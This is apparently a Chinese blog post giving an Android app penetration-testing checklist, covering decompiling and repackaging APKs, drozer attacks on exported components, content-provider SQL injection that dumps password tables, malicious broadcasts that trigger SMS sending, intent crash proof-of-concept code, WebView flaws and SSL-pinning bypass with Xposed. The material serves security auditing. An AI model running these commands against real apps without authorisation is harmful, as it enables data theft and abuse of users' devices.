APP android 测试用例手册

一、客户端程序安全测试

1.检查apk的信息

java -jar GetApkInfo.jar  tfkj.apk

2.数字签名检查

C:\Program Files\Java\jdk1.8.0_111\bin\jarsigner.exe -verify  C:\Users\bk\Desktop\天府科技云APP\天府科技云服务平台\天府科技云服务平台.apk

C:\Program Files\Java\jdk1.8.0_111\bin\jarsigner.exe -verify  C:\Users\bk\Desktop\天府科技云APP\天府科技云服务平台\天府科技云服务平台.apk   -verbose   -certs

开发者证书不规范,导致开发者身份信息不明

keytool.exe -printcert   -file   .\CERT.RSA

3.反编译检查

通过ApkScan.jar查看APP加固类型

apk反编译为Java源代码:

把 apk 当成 zip 并解压,得到 classes.dex 文件

将解压出来的classes.dex文件拷贝到dex2jar工具文件夹中

执行命令:d2j-dex2jar classes.dex

执行完毕后,得到反编译而来的classes-dex2jar.jar文件

使用jd-gui.exe或者luyten-0.5.4打开 classes-dex2jar.jar文件,得到360安全加固混淆加密的源代码。

apk编译为smali语言:

java  -jar  [apktool_2.3.4.jar]  d  -f [apk地址]   -o  [输出目录]

java  -jar  apktool_2.3.3.jar d  [-s]   -f  C:\Users\bk\Desktop\天府科技云APP\天府科技云服务平台.apk  -otfkj   //遇到类似于淘宝app无法反编译这样,-s代表只反编译xml文件

java  -jar  apktool_2.3.3.jar d  -f  C:\Users\bk\Desktop\天府科技云APP\天府科技云服务平台.apk  -otfkj

或者:

apktool.bat   d  天府科技云服务平台.apk

4.检查AndroidManifest.xml文件

java -jar AXMLPrinter2.jar AndroidManifest.xml > AndroidManifest.txt

或者

java -jar APKParser.jar 天府科技云服务平台.apk  > AndroidManifest.txt

1.开启应用程序数据可备份:

allowbackup备份权限,ture则存在备份数据泄露风险(未配置的情况下,默认为TRUE)

2.开启不安全的debug模式:

Debuggable属性,true则存在应用信息篡改泄露风险(未配置的情况下,默认为FALSE)

 5.

检查是否存在Janus漏洞

(1)Janus漏洞(基于Janus漏洞,攻击者可以修改APP而不影响其原始签名,篡改后的APP可以成功安装运行。应同时使用V1+V2签名)

6.应用完整性校检

将反编译出来源码中修改图片文件名为test.png

进行重新生成apk包,命令如下:

java -jar apktool.jar b -f 待打包的文件夹 -o 输出 apk 路径

或者

apktool.bat b天府科技云服务平台

天府科技云文件下便可以发现多了2个文件夹:build,dist(里面存放着打包出来的APK文件)

重新签名APK命令如下:

java -jar signapk.jar testkey.x509.pem testkey.pk8 待签apk文件路径   签名后输出apk路径

然后重新安装apk,如果重新能安装上,则文件完整性被破坏掉

二.组件安全测试

1、基本信息查询

(1)、列出程序安装包:

run app.package.list

(2)、获取app名为drozer的包名( 中文APP名列不出来,可以使用:java -jar GetApkInfo.jar得到安装app的包名)

命令:run app.package.list -f 包名

run app.package.list -f drozer

(3)、查看android四大组件 攻击面:
 命令:run app.package.attacksurface  包名 
 run app.package.attacksurface  com.zhuoyigou.dese

2、activity(界面)组件测试

通常展现为一个可视化的用户交互界面
(1)、查看对外的activity组件信息
命令:run app.activity.info -a 包名   
run app.activity.info -a  com.zhuoyigou.dese
(2)、使用app.activity.start进行漏洞测试
命令:run app.activity.start  --component  包名      组件名  
run app.activity.start --component com.mwr.example.sieve  com.mwr.example.sieve.PWList   #绕过密码进入系统,一般主要登录窗口交互界面
调用暴露的activity组件(一般activity组件只会暴露一个程序启动界面,在暴露其他的就属于组件暴露,下面这个这是个测试,没有组件暴露漏洞)

3、content provider(内容提供者)组件测试

主要用于在不同应用程序之间实现数据共享的功能
(1)、查看content provider组件信息
命令:run app.provider.info -a 包名
 run app.provider.info -a  com.zhuoyigou.dese
(2)、Content Providers 数据泄露URL
命令:run scanner.provider.finduris  -a  包名
run scanner.provider.finduris -a com.zhuoyigou.dese

(3)、获取各个Uri的数据

命令:run app.provider.query   可泄露的URL地址  --vertical
run app.provider.query   content://com.zhuoyigou.dese.ipc.provider/  --vertical
(3)、Content Providers SQL注入
命令1: run app.provider.query 能连接的URL地址   --projection "'"
命令2: run app.provider.query 能连接的URL地址  --selection "'"
run app.provider.query  content://com.zhuoyigou.dese.ipc.provider/   --selection "'"
报错则说明存在SQL注入

(4)、列出所有表

命令:run app.provider.query  能连接的URL地址  --projection "* FROM SQLITE_MASTER WHERE type='table';--"
run app.provider.query  content://com.zhuoyigou.dese.ipc.provider/  --projection "* FROM SQLITE_MASTER WHERE type='table';--"

如下图我们发现三张表android_metadata、Passwords、Key,从名称上可以判断android_metadata是系统相关表,另外两可能和密码等数据有关。

安卓四大组件审计实验(drozer)

(5)、获取某个表(如Key)中的数据:

命令:run app.provider.query  能连接的URL地址   --projection "* FROM 表名;--"
run app.provider.query  content://com.zhuoyigou.dese.ipc.provider/   --projection "* FROM Key;--"

(6)、检测SQL注入

命令:run scanner.provider.injection -a  包名

run scanner.provider.injection -a com.zhuoyigou.dese

     
     
(7)、检测 目录遍历
命令: run scanner.provider.traversal -a 包名
run scanner.provider.traversal -a  com.zhuoyigou.dese
(8)读取系统文件
命令: run app.provider.read   能连接的URL地址 run app.provider.read  content://com.zhuoyigou.dese.ipc.provider/ 
(9)、下载系统文件到本地
命令:run app.provider.download 可用的下载文件地址    本地的绝对路径
run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db d:/database.db
(9)、列出该app的表名
命令: run scanner.provider.sqltables -a  包名 run scanner.provider.sqltables -a com.zhuoyigou.dese 

4、service((服务)组件测试

无用户界面,但它会在后台一直执行
(1)、查看service组件信息
命令:run app.service.info -a 包名
run app.service.info -a com.zhuoyigou.dese 
  (2)、调用内部服务组件
命令:run app.service.start --action 组件名  --component 包名 组件名
run app.service.start --action cn.jpush.android.service.DaemonService  --component  com.zhuoyigou.dese  cn.jpush.android.service.DaemonService

观察状态栏中的位置标志和GPS位置正在由FourGoats应用程序访问

5、Broadcase receiver(广播接收器)组件测试

无用户界面,能够启动一个 activity 或 serice来响应它们收到的信息,或者用 NotificationManager 来通知用户。 利用intent对组件的触发一般有两类漏洞,一类是拒绝服务,一类的权限提升,拒绝服务危害性比较低,更多的只是影响应用服务质量;而权限提升将使得没有该权限的应用可以通过intent触发拥有该权限的应用,从而帮助其完成越权行为。
(1)、查看暴露的广播组件信息:
命令:run app.broadcast.info -a 包名
run app.broadcast.info -a com.zhuoyigou.dese 
(2)、尝试拒绝服务攻击检测,向广播组件发送不完整intent(空action或空extras)

空action:

命令:run app.broadcast.send  --component  包名   广播名(组件名)
run app.broadcast.send --component  com.zhuoyigou.dese  ReceiverName

 空extras:

命令:run app.broadcast.send --action 组件名  
尝试拒绝服务攻击检测,向广播组件发送不完整intent使用空extras,可看到应用停止运行
run app.broadcast.send   --action   com.zhuoyigou.dese.receiver.JPushReceiver

(3)、恶意广播
     
     
命令:run app.broadcast.send --componen 包名 组件名 --extra string 组件名中发送的函数名1 字符串1 --extra string 组件名中发送的函数名2 字符串2
run app.broadcast.send --component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceive --extra string number 66666

run app.broadcast.send --component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver --extra string phoneNumber 1111 --extra string message aaaa


或者
run app.broadcast.send --action 组件名 --extra string 组件名中发送的函数名1 字符串1 --extra string 组件名中发送的函数名2 字符串2
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 1111 --extra string message aaaa




测试真实主机发送短信
run app.broadcast.send --component com.isi.vul_broadcastreceiver com.isi.vul_broadcastreceiver.MyBroadCastReceiver --extra string number 17*********

6.Intent本地拒绝服务检测

1.通过使用drozer工具查看对外暴露组件的应用如下:

run app.activity.info –a  包名  grep -rn “get*Extra” ./ | more     # 检测在获取intent数据时是否进行了异常处理

2.使用反编译工具打开应用,反编译出应用源码:

在源码中查找以下示例源码(主要查找getAction):

Intent i = new Intent();

if (i.getAction().equals("TestForNullPointerException")) {

    Log.d("TAG", "Test for Android Refuse Service Bug");

}

 如出现像以上代码,getIntent()的intent附带空数据、异常或畸形数据,而且处理getXXXExtra()获取的数据时没有进行异常捕获,便存在风险。

 3.可使用adbshell验证:

#adb shell

# am start -n 包(package)名/包名.活动(activity)名称 

# am start -n com.android.music/com.android.music.MusicBrowserActivity  #如果服务端出现崩溃界面,则可以证明漏洞存在

4.可造成本地拒绝服务:1.ClassNotFoundException异常导致的拒绝服务:

源于程序没有无法找到从getSerializableExtra ()获取到的序列化类对象的类定义,因此发生类未定义的异常而导致应用崩溃。

Intent i = getIntent();

getSerializableExtra("serializable_key");

攻击应用代码片段:

Intent i = new Intent();

i.setClassName("com.alibaba.jaq.pocforrefuseservice", "com.alibaba.jaq.pocforrefuseservice.MainActivity");

i.putExtra("serializable_key", BigInteger.valueOf(1));

startActivity(i);

2.IndexOutOfBoundsException异常导致的拒绝服务:

源于程序没有对getIntegerArrayListExtra()等获取到的数据数组元素大小的判断,从而导致数组访问越界而导致应用崩溃;

漏洞应用代码片段:

Intent intent = getIntent();

ArrayList<Integer> intArray = intent.getIntegerArrayListExtra("user_id");

if (intArray != null) {

    for (int i = 0; i < USER_NUM; i++) {

        intArray.get(i);

    }

}

攻击应用代码片段:

Intent intent = new Intent();

intent.setClassName("com.alibaba.jaq.pocforrefuseservice", "com.alibaba.jaq.pocforrefuseservice.MainActivity");

ArrayList<Integer> user_id = new ArrayList<Integer>();

intent.putExtra("user_id", user_id);

startActivity(intent);

3.ClassNotFoundException异常导致的拒绝服务:

源于程序没有无法找到从getSerializableExtra ()获取到的序列化类对象的类定义,因此发生类未定义的异常而导致应用崩溃。漏洞应用代码片段:

Intent i = getIntent();

i.getSerializableExtra("serializable_key");

攻击应用代码片段:

public void onCreate(Bundle savedInstanceState) {

     super.onCreate(savedInstanceState);

     setContentView(R.layout.main);

     Intent i = new Intent();

i.setClassName("com.alibaba.jaq.pocforrefuseservice", "com.alibaba.jaq.pocforrefuseservice.MainActivity");

     i.putExtra("serializable_key", new SelfSerializableData());

     startActivity(i);

 }

static  class SelfSerializableData implements Serializable {

     private static final long serialVersionUID = 42L;

     public SelfSerializableData() {

         super();

     }

 }

三.webview 组件安全

1.webview远程命令执行漏洞

Android 4.2 版本以下的 webview 组件存在安全漏洞(CVE-2012-6636)。检测客户端是否采取措施避免漏洞被利用。检查应用 AndroidManifest.xml 中的 targetSdkVersion 是否大于等于 17。

或者在线检查; https://security.tencent.com/lucky/check_tools.html(在手机浏览器中打开)
2.webview 代码执行
条件:targetsdkVersion<19,并且android版本小于4.2,并且反编译代码中搜索关键字addJavascriptInterface是否别调用。

Webview代码执行漏洞出现在安卓2.1~4.3.1版本,检查targetSdkVersion、minSdkVersion  ,  若targetsdkVersion>=19或通过minSdkVersion进行限制则无此问题,否则在低版本上测试,(可使用相关检测代码),检查代码中是否使用addJavascriptInterface(),如果使用addJavascriptInterface,则会存在被注入js接口的漏洞。

3.WebView不校验证书检测

搜“onReceivedSslError”,看是否调用了handle.process()方法(在webview组件代码中测试)

解决方案:

handler.cancel(); 或者paramAnonymousSslErrorHandler.proceed();

 @SuppressLint("NewApi")
    @Override
    public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) {
        //handler.proceed();// 接受证书
        super.onReceivedSslError(view, handler, error);
    }

   
   
4.WebView密码明文保存检测

搜”setSavePassword”,看是否显式设置为false(在webview组件代码中测试)

如果选择”是”,密码会被明文保到 /data/data/com.package.name/databases/webview.db  中
5.allowFileAccess导致的File域同源策略绕过漏洞
如果webview.getSettings().setAllowFileAccess(boolean)设置为true,则会面临该问题;该漏洞是通过WebView对Javascript的延时执行和html文件替换产生的。
webview.getSettings().setAllowFileAccess(truet);

四、敏感信息安全测试

1.检查私有目录下的文件权限

此私有目录通常位于:/data/data/包名,在测试时,建议完全退出客户端后,再进行私有文件的测试。

首先查看相关文件的权限配置,正常的文件权限最后三位应为空(类似“rw-rw----” ),即除应用自己以外任何人无法读写;

目录则允许多一个执行位(类似“rwxrwx—x” )。如下图所示,(lib 子目录是应用安装时由 android 系统自动生成,可以略过)。

adb.exe shell
ls
cd com.sccl.app.technologyyun
ls al
2.检查客户端程序存储在手机中的 SharedPreferences 配置文件
方法:检查 /data/data/包名/shared_prefs下是否含有.xml配置文件里面包含敏感信息泄露
3..检查客户端程序存储在手机中的 SQLite 数据库文件
方法:一般在 /data/data/包名/database目录下.db文件,将其拷贝到桌面,使用SQLiteExper查看
4.检查客户端程序 apk 包中是否保存有敏感信息
方法:对APK进行反编译得到源码,然后 搜索" base64"和"KEY"看是否泄漏了敏感的KEY值
4.检查logcat日志
检查日志中是否包含敏感信息:
清空日志:
adb  logcat -c  
持续输出日志:
adb logcat > d:\test.log
一次性输出日志:
adb shell logcat -d >d:\test2.txt

五.密码软键盘安全性测试

1.键盘劫持
方法:安全键盘劫持APP,KeyTest.apk,可以记录软键盘记录,启动APP,然后输入信息,然后使用logcat输出日志
通过观察app在输入密码的地方是否会弹出自定义的软键盘,没有弹出软键盘,则默认调用android系统默认键盘,可能被劫持。
2.屏幕录像:
adb shell /system/bin/screencap  -p 输出  png 路径(安卓设备中)
adb shell /system/bin/screencap -p  /data/data/1.jpg  #通过连续截图,是否可以捕捉到用户密码输入框的密码
3.软键盘安全性测试
用眼观察每次弹出来的自定义的软键盘是否随机变化布局,每次启动程序,输入密码,软键盘位置不同。

六.安全策略设置测试

1.密码复杂度检测
方法:在注册页面使用弱口令进行注册,看是否提示 密码复杂度不符合,或者注册好后的账号修改成弱密码,然后登陆,是否提示密码复杂度不符合。
2.单点登录限制策略
测试一个帐号是否可以同时在多个设备上成功登录客户端,进行操作,可在本机安装和虚拟机安卓机上分别登陆,是否提示多台设备登陆
3.账户锁定策略

测试客户端是否限制登录尝试次数。比如连续输入10次以上,是否账号锁定,或者没有验证码验证

4.会话超时策略

测试客户端在超过 20 分钟无操作后,是否会使会话超时并要求重新登录。超时时间设置是否合理。

该APP 过了几个小时,一直没有退出。

5.界面切换保护
用户切换到后台但程序没有结束运行或者结束程序运行,再返回应用的时候是否有需要身份验证  ,手势密码或者密码登录
6. UI信息泄露

检测是否对用户的真实姓名、身份证号、银行卡号、手机号等进行适当用星号进行脱敏处理。

7.验证码安全
测试验证码是否有时效性,以及短信轰炸等逻辑漏洞,或者弱的图形验证码。
8.安全退出
使用抓包登录,用之前登录的cookie,然后退出,再进行请求是否登录。
9.密码修改验证
修改密码的时候,使用之前的旧的的密码是否验证旧密码是否可用。
10.Activity 界面劫持

打开应用,测试工具会尝试用自己的窗口覆盖被测的应用。测试工具试图显示自己的窗口时,安全的客户端应该弹出警告提示。如果劫持成功,会出现如下界面:

输入存在和不存在,看提示信息判断
12.弱加密算法审查

1、使用反编译工具进行反编译

2、打开源码后,查找代码中查找关键字“des"和”base64"是否存在弱密码加密。

SecretKeySpec key = new SecretKeySpec(rawKeyData, "DES");

Cipher cipher = Cipher.getInstance("DES/ECB/PKCS5Padding");

cipher.init(Cipher.DECRYPT_MODE, key);

3、RSA中不使用Padding:

使用RSA公钥时通常会绑定一个padding,原因是为了防止一些依赖于no padding时对RSA算法的攻击。风险代码样例:

下面出现安全问题:

Cipher rsa = null;

try {

  rsa = javax.crypto.Cipher.getInstance("RSA/NONE/NoPadding");

}

catch (java.security.NoSuchAlgorithmException e) {

}

catch (javax.crypto.NoSuchPaddingException e) {

}

SecretKeySpec key = new SecretKeySpec(rawKeyData, "RSA");

Cipher cipher = Cipher.getInstance("RSA/NONE/NoPadding");

cipher.init(Cipher.DECRYPT_MODE, key);

下图是安全的:

4、没有安全的初始化向量

初始化向量时,使用了硬编码到程序的常量。风险代码样例:

byte[] iv = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };

IvParameterSpec ips = new IvParameterSpec(iv)

5、  使用了不安全的加密模式(这里需要使用AES/CBC/PKCS7Padding)

SecretKeySpec key = new SecretKeySpec(keyBytes, "AES");

Cipher cipher = Cipher.getInstance("AES/ECB/PKCS7Padding", "BC");

cipher.init(Cipher.ENCRYPT_MODE, key);

下图是安全的:

6、  使用了不安全的密钥长度

public static KeyPair getRSAKey() throws NoSuchAlgorithmException {

KeyPairGenerator keyGen = KeyPairGenerator.getInstance("RSA");

keyGen.initialize(512);

KeyPair key = keyGen.generateKeyPair();

return key;

      }

14.私密问题验证 

验证客户端是否存在忘记密码时的私密问题验证,或者需要提示输入之前的原密码或者原问题都可以。
13.应用权限测试
检查申请应用权限是否大于业务需要权限,有即存在安全隐患。

七.手势密码安全测试

1. 手势密码的复杂度
 反编译  APK  jar 包,通过  jd-gui 观察对应代码逻辑是否有相应的判断和限制 条件。(一般设置手势密码若输入点数过少时会有相应的文字提示,通过此文字提示可以快 速定位到代码位置,这里在反编译代码中搜索“至少连接4个点,请重新输入").
注意这里需要设置2次相同的4个点的手势密码。
2.手势密码的修改和取消
1. 进入客户端设置手势密码的位置,一般在个人设置或安全中心等地方。
2. 进行手势密码修改或取消操作,再次登录,是否需要输入修改后的手势密码,或者取消手势密码后,是否采用其他登录方式登录。
3.反编译  APK  jar 包,通过  jd-gui 观察对应代码逻辑,寻找客户端对于手势密 码的修改和删除是否存在相应的安全策略。
3.手势密码的本地信息保存

检测在输入手势密码以后客户端是否会在本地记录一些相关信息,例如明文或加密过的手势密码。

1. 首先通过正常的操作流程设置一个手势密码并完整一次完整的登陆过程。
2. 寻找 /data/data 的私有目录下是否存在手势密码对应敏感文件,若进行了相关的
信息保存,基本在此目录下。(关键词为  gesture,  key 等)

4.手势密码的锁定策略

1. 首先通过正常的操作流程设置一个手势密码。
2. 输入不同于步骤 1 中的手势密码,观察客户端的登陆状态及相应提示。若连续输入多次手势密码错误,观察当用户处于登陆状态时是否退出当前的登陆状态并关闭客户端;
3. 反编译 APK  jar 包,通过 jd-gui 观察对应代码逻辑,寻找客户端是否针对输.入次数及锁定时间有相应的逻辑处理。

5.手势密码的抗攻击测试

验证是否可以通过插件绕过手势密码的验证页面。
1. 下载并安装 Xposed 框架及 SwipeBack 插件。
2. 启动客户端并进入手势密码输入页。
3. 启动 SwipeBack 插件,观察是否可以通过滑动关闭手势密码输入页的方式进入登陆后的页面

八.通信安全测试

1.http通信分析
通过代理对其抓包分析,是否采用https加密,如没有http就能明文获取。
2.socket通信分析

使用tcpdump将设备中的应用操作引发的通信包导出,使用wireshark查看,命令如下:

tcpdump -w traffic.pcap

3.证书有效性

1.如果使用https.通过客户端代理访问,是否提示证书有效,客户端程序和服务器端 SSL 通信是否严格检查服务器端证书有效性。避免手机银行用户

受到 SSL 中间人攻击后,密码等敏感信息被嗅探到.

2.SSL 协议安全性。检测客户端使用的 SSL 版本号是否不小于 3.0(或 TLS v1),加密算法是否安全。(安全规范要求)

使用 openssl,指定域名和端口,可以看到 SSL 连接的类型和版本。如下图所示,使用了 TLSv1,加密算法为 AES 256 位密钥。(RC4,DES 等算法被认为是不安全的)。也可以使用这个网站在线检查:https://www.ssllabs.com/ssltest/

4. 关键数据加密和校检
1.通过抓包分析https/http中传输的敏感数据这里主要是post提交的数据(密码和银行卡号是否加密)
2. 尝试在代理中篡改客户端提交的数据,检查服务端是否能检测到篡改

5.访问控制

利用截包工具获取APP请求的url,是否能用PC浏览器打开该url;以及未授访问直接登录

6.客户端更新安全性

更新客户端,使用burp抓包--  检测是否能够修改更新时的流量,流量中含有更新服务器,是不是官方地址。

九.进程保护测试

1.外部动态加载DEX安全风险检测

在反编译处来的源码中搜索:DexClassLoader

1.风险位置:

public DexClassLoader(String dexPath,String optimizedDirectory, String libraryPath, ClassLoader parent)[2]

2.查看AndroidManifest.xml包package值相对应路径下的文件中是否含有DexClassLoader()函数调用

2.本地端口开放检测

busybox netstat -tuanp|grep -Ei 'listen|udp*'

3.动态注入
通过xposed框架进行hook动态注入测试
或者参考:
4.. 存访问和修改
可以使用  MemSpector  查看、搜索和修改客户端内存数据,如图所示。用户名、密码等数据通常会在/dev/ashmem/dalvik-heap  内存段。(目前大多数工具都是通过  ptrace  接口修改客户端内存,可以使用  ptrace  机制本身防护。)

十、android下虚拟机下tcpdum抓包

adb命令:
帮助信息:  adb help  
查看设备:  adb devices  
登录设备:  adb shell        adb  shell <command 命令>  
上传文件:   adb push < 本地路径>  < 远程路径>  
下载文件:   adb pull < 远程路径>  < 本地路径>  
安装软件:   adb install [-r 强制安装] [-s 将apk 安装在SD-Card]  
卸载软件:   adb uninstall [-k   保留配置文件和缓存文件] < 软件名
本次用到虚拟机为逍遥模拟器:

adb push tcpdump /data/local/

adb shell

chmod 777 /data/local/tcpdump

cd  /data/local
./tcpdump  -i any -p -vv -s 0 -w capture.pcap
adb  pull  /data/local/capture.pcap  d:\

十、android下xposed安装以及常用插件安装

1.xposed我是在腾讯安全宝应用市场,搜索xposed关键字下载的,安卓虚拟机用的最新版的逍遥模拟器
2.这里建议下载xposed 89框架版本
3.常用的模块有justtrustme(绕过SSL证书抓包),xserver(主要对加密的URL连接进行hook解密)
这些都可以在github上找到响应的.apk文件进行安装

十二、安卓代码检查

1.推荐用360显微镜对apk进行扫描: http://appscan.360.cn/
2.对反编译出来的代码可以用码云奇安信代码卫士服务进行扫描: https://gitee.com/
3. eclipse 使用插件findbugs
  • 0
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
### 回答1: 史上最全的app通用测试用例可能会包括以下几个方面的测试用例: 1. 用户界面测试: - 应用的布局和界面是否符合设计要求; - 界面是否美观、易用; - 按钮、链接和其他互动元素是否正常响应。 2. 功能性测试: - 对应用的各项功能进行测试,例如登陆、注册、查看数据、上传文件等; - 确保功能的正常运行和响应速度; - 对不同的输入参数进行测试,确保应用能够正确处理各种情况。 3. 兼容性测试: - 测试应用在不同操作系统、不同设备上的兼容性; - 确保应用在不同的手机型号和尺寸上都能正常运行。 4. 安全性测试: - 检查应用的数据传输是否加密; - 检查应用是否有足够的防护措施,例如防止SQL注入、XSS攻击等; - 检查应用是否有足够的权限管理措施,例如用户权限分配、数据保护等。 5. 性能测试: - 对应用进行负载测试,测试在大量用户同时访问时的性能表现; - 测试应用的响应速度、资源占用情况等; - 测试应用是否能够处理大量数据,例如大文件的上传下载等。 6. 可靠性测试: - 对应用进行稳定性测试,测试在长时间运行时是否会出现崩溃或资源泄漏等问题; - 测试应用是否能够正确处理异常情况,例如网络中断、服务器宕机等。 7. 用户体验测试: - 进行用户调研,了解用户对应用的使用体验、反馈和建议; - 根据用户的反馈进行优化和改进。 请注意,以上只是对app通用测试用例的简要描述,具体的测试用例会根据应用类型、功能和需求等因素进行调整和补充。 ### 回答2: 通用的APP测试用例有很多,以下列举一些常用的用例: 1. 启动测试:测试APP是否能够成功启动,包括正常启动、快速启动、错误启动等情况。 2. 用户注册与登录:测试用户注册和登录功能,包括账号密码输入正确性验证、注册登录成功与失败的提示等。 3. 界面测试:测试APP的各个界面和页面的布局、样式、交互是否正确显示和正常工作。 4. 功能测试:测试APP的各个功能,包括各个按钮、菜单、链接等功能是否可以正常使用和操作,以及是否符合用户预期。 5. 数据输入输出测试:测试APP对于用户输入的数据能否正确保存和显示,以及对于外部数据的读取和操作是否正确。 6. 权限测试:测试APP的各个功能和页面对于用户权限的控制是否正确,包括对于不同用户身份的权限限制等。 7. 网络测试:测试APP在不同网络环境下的使用情况,包括网络连接断开后的处理、数据加载速度等。 8. 异常处理测试:测试APP对于各种异常情况的处理能力,包括用户输入错误、网络异常、系统异常等情况。 9. 兼容性测试:测试APP在不同操作系统版本、不同设备型号上的使用情况,以及与其他APP的兼容性。 10. 性能测试:测试APP在不同负载情况下的性能表现,包括响应速度、占用资源等指标。 以上只是一些通用的测试用例,实际中根据APP的具体功能和特点,还需要针对性地添加其他的测试用例测试用例的目的是为了发现APP中的问题和漏洞,提高APP的品质和用户体验。正确编写和执行测试用例可以有效提高测试效率和测试准确性。 ### 回答3: 史上最全的app通用测试用例可以按照以下几个方面进行分类:界面测试用例、功能测试用例、性能测试用例和兼容性测试用例。 首先是界面测试用例。这些测试用例主要验证app的界面设计是否合理、易用和符合用户需求。例如,验证按钮和图标的位置、颜色和大小是否符合预期、文字是否显示正确等。 其次是功能测试用例。这些测试用例主要验证app的各项功能是否正常工作,包括登录注册、搜索、下单购买、支付等。例如,验证用户能否成功登录、测试搜索功能是否准确返回结果、验证订单是否能够正常生成和支付等。 第三是性能测试用例。这些测试用例主要验证app在不同负载下的性能表现,包括响应时间、吞吐量和稳定性等。例如,验证app在多种网络环境下的响应时间和加载速度、测试大数据量下的性能表现、验证app在长时间使用后是否会出现卡顿或崩溃等。 最后是兼容性测试用例。这些测试用例主要验证app在不同平台、不同版本和不同屏幕尺寸下的兼容性。例如,测试app在iOS和Android平台上是否能够正常运行、验证app在不同操作系统版本上的兼容性、测试app在不同屏幕尺寸上的显示效果等。 总结起来,史上最全的app通用测试用例应该包括界面测试用例、功能测试用例、性能测试用例和兼容性测试用例。在测试过程中,根据具体需求和特点,可以进一步细化和扩展这些测试用例,以确保app的质量和稳定性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

渗透测试中心

各位师傅,觉得文章不错可支持下

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值